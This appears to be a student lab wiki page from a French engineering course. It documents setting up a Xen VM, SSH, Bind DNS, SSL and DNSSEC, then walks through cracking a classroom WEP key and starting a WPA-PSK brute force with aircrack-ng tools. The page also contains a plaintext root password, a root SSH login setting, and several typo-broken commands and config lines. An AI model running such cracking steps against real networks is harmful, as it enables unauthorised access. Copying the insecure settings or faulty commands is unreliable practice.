TP sysres IMA5 2021/2022 G8 : Différence entre versions

De Wiki d'activités IMA
(Intrusion sur un serveur d'application web)
 
(50 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
 
=Création de la machine virtuelle=
 
=Création de la machine virtuelle=
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.
+
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant
  
 +
{| class="wikitable"
 +
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM
 +
|-
 +
| Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
 +
|-
 +
|}
  
 
Nous commencons par créer une image pour notre machine virtuelle.
 
Nous commencons par créer une image pour notre machine virtuelle.
Ligne 24 : Ligne 30 :
 
  $ xen console RinceCochon
 
  $ xen console RinceCochon
  
= Connexions =
+
= Services Internet =
  
 +
== Connexions par ssh==
 +
dans le fichier /etc/ssh/sshd_config
 +
on a configurer le port de connexion ssh à 1359
 +
et on a autoriser le login depuis root (PermitRootLogin yes)
 +
 +
on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :
 
  $ ssh root@193.48.57.183 -p 1359
 
  $ ssh root@193.48.57.183 -p 1359
  
 +
== Serveur DNS ==
 +
sur gandi.net on à reserver le DNS tournecochon.site pour notre site
 +
 +
== Configuration Bind ==
 +
on souhaite avoir notre serveur Xen comme DNS principal
 +
 +
on commence pour cela par installer bind
 +
apt-get install bind9
 +
 +
 +
on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute
 +
 +
zone "tournecochon.site" IN {
 +
        type master;
 +
        file "/etc/bind/db.tournecochon.site";
 +
        allow-transfer { 217.70.177.40; }
 +
};
 +
 +
où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire
 +
 +
type master précise que tournecochon.site est le DNS principal
 +
 +
 +
Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183
 +
 +
== Certificat ssl ==
 +
 +
On génère une clé publique et privé dans le dossier /etc/ssl/
 +
 +
$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr
 +
 +
Nous plaçons ensuite la clé privé dans /etc/ssl/private/
 +
 +
Nous faisons une demande de signature de certificat sur gandi.net
 +
 +
On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/
 +
 +
== Sécurisation de site web par certificat ==
 +
 +
Activation du module SSL
 +
 +
a2enmod ssl
 +
 +
Configuration du port 443
 +
 +
Définition du serveur virtuel
 +
 +
Création du répertoire /var/www/tournecochon.site/
 +
 +
 +
Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :
 +
 +
 +
<VirtualHost 193.48.57.183:443>
 +
        ServerName tournecochon.site
 +
        ServerAlias www.tournecochon.site
 +
        DocumentRoot /var/www/tournecochon.site
 +
        CustomLog /var/log/apache2/secure_access.log combined
 +
 +
        SSSLEngine on
 +
        SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
 +
        SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
 +
        SSLVerifyClient None
 +
</VirtualHost>
 +
 +
Activation du site :
 +
 +
a2ensite 000-tournecochon.site-ssl
 +
 +
Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.
 +
 +
== Sécurisation de serveur DNS par DNSSEC ==
 +
 +
Activation dnssec
 +
 +
Dans /etc/bind/named.conf.options :
 +
 +
dnssec-enable yes;
 +
 +
Génération de la clé asymétrique de signature de clés de zone (KSK) :
 +
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site
 +
 +
Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :
 +
 +
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site
 +
 +
On les renommes :
 +
 +
tournecochon.site-ksk.key
 +
tournecochon.site-ksk.private
 +
tournecochon.site-zsk.key
 +
tournecochon.site-zsk.private
 +
 +
On inclue les clés dans  à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :
 +
 +
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
 +
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key
 +
 +
On signe les enregistrements de la zone
 +
 +
dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk
 +
 +
On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :
 +
 +
zone "tournecochon.site" IN
 +
{
 +
    type master;
 +
    file "etc/bind/db.tournecochon.site.signed";
 +
    allow-transfer { 217.70.177.40; }
 +
};
 +
 +
On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.
 +
 +
Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :
 +
 +
dnssec-verify -o tournecochon.site db.tournecochon.site.signed
 +
 +
Le résultat est satisfaisant :
 +
 +
Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed'
 +
 +
Verifying the zone using the following algorithms:
 +
- RSASHA1
 +
Zone fully signed:
 +
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
 +
                    ZSKs: 1 active, 0 stand-by, 0 revoked
  
 
= Package installé =
 
= Package installé =
Ligne 36 : Ligne 175 :
 
=Tests d'intrusion=
 
=Tests d'intrusion=
  
Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.
+
Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.
  
 
==Cassage de clef WEP d’un point d’accès Wifi==
 
==Cassage de clef WEP d’un point d’accès Wifi==
Ligne 74 : Ligne 213 :
  
 
  SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07
 
  SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07
 +
 +
 +
==Intrusion sur un serveur d'application web==
 +
[[Fichier:intrusion_honey.zip]]
 +
(mot de passe habituel)
 +
 +
= ASR =

Version actuelle datée du 13 janvier 2022 à 19:26

Création de la machine virtuelle

Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM
Mel / Theo 07 10.7.0.0/16 2001:7A8:116E:60B7::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol RinceCochon

Nous commencons par créer une image pour notre machine virtuelle.

$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte

$ lvcreate -L 5G -n RinceCochon0 storage
$ lvcreate -L 5G -n RinceCochon1 storage
$ mkfs.ext4 /dev/storage/RinceCochon0
$ mkfs.ext4 /dev/storage/RinceCochon1
$ xl create -c /etc/xen/RinceCochon.cfg
$ /dev/xvda3 /home ext4 defaults 0 2
$ /dev/xvda4 /var ext4 defaults 0 2

Quitter la vm : ctrl + ]

Entrer dans la vm :

$ xen console RinceCochon

Services Internet

Connexions par ssh

dans le fichier /etc/ssh/sshd_config on a configurer le port de connexion ssh à 1359 et on a autoriser le login depuis root (PermitRootLogin yes)

on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :

$ ssh root@193.48.57.183 -p 1359

Serveur DNS

sur gandi.net on à reserver le DNS tournecochon.site pour notre site

Configuration Bind

on souhaite avoir notre serveur Xen comme DNS principal

on commence pour cela par installer bind

apt-get install bind9


on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute

zone "tournecochon.site" IN {
       type master;
       file "/etc/bind/db.tournecochon.site";
       allow-transfer { 217.70.177.40; }
};

où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire

type master précise que tournecochon.site est le DNS principal


Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183

Certificat ssl

On génère une clé publique et privé dans le dossier /etc/ssl/

$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr

Nous plaçons ensuite la clé privé dans /etc/ssl/private/

Nous faisons une demande de signature de certificat sur gandi.net

On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/

Sécurisation de site web par certificat

Activation du module SSL

a2enmod ssl

Configuration du port 443

Définition du serveur virtuel

Création du répertoire /var/www/tournecochon.site/


Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :


<VirtualHost 193.48.57.183:443>
        ServerName tournecochon.site
        ServerAlias www.tournecochon.site
        DocumentRoot /var/www/tournecochon.site
        CustomLog /var/log/apache2/secure_access.log combined

        SSSLEngine on
        SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt
        SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key
        SSLVerifyClient None
</VirtualHost>

Activation du site :

a2ensite 000-tournecochon.site-ssl

Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.

Sécurisation de serveur DNS par DNSSEC

Activation dnssec

Dans /etc/bind/named.conf.options :

dnssec-enable yes;

Génération de la clé asymétrique de signature de clés de zone (KSK) :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site

Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site

On les renommes :

tournecochon.site-ksk.key
tournecochon.site-ksk.private
tournecochon.site-zsk.key
tournecochon.site-zsk.private

On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :

$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key

On signe les enregistrements de la zone

dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk

On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :

zone "tournecochon.site" IN
{
    type master;
    file "etc/bind/db.tournecochon.site.signed";
    allow-transfer { 217.70.177.40; }
};

On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.

Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :

dnssec-verify -o tournecochon.site db.tournecochon.site.signed

Le résultat est satisfaisant :

Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed' 

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Package installé

$ apt-get install ssh
$ apt-get install apache2
$ apt-get install bind9

Tests d'intrusion

Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.

Cassage de clef WEP d’un point d’accès Wifi

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.

On démarre l'interface en mode moniteur sur le channel 4

$ airmoon-ng start wlx40a5ef0f679b 4

On effectue les tests d'injection sur la clé WEP

$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b

Association interface réseau avec le point d'accès cracotte08 (false authentification)

$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b

La clé peut ensuite être décpté à l'aide des fichier output*.cap créé

$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap
KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

On récupère le nom de l'interface de la clé

$ airmon-ng

On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.

SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07


Intrusion sur un serveur d'application web

Fichier:Intrusion honey.zip (mot de passe habituel)

ASR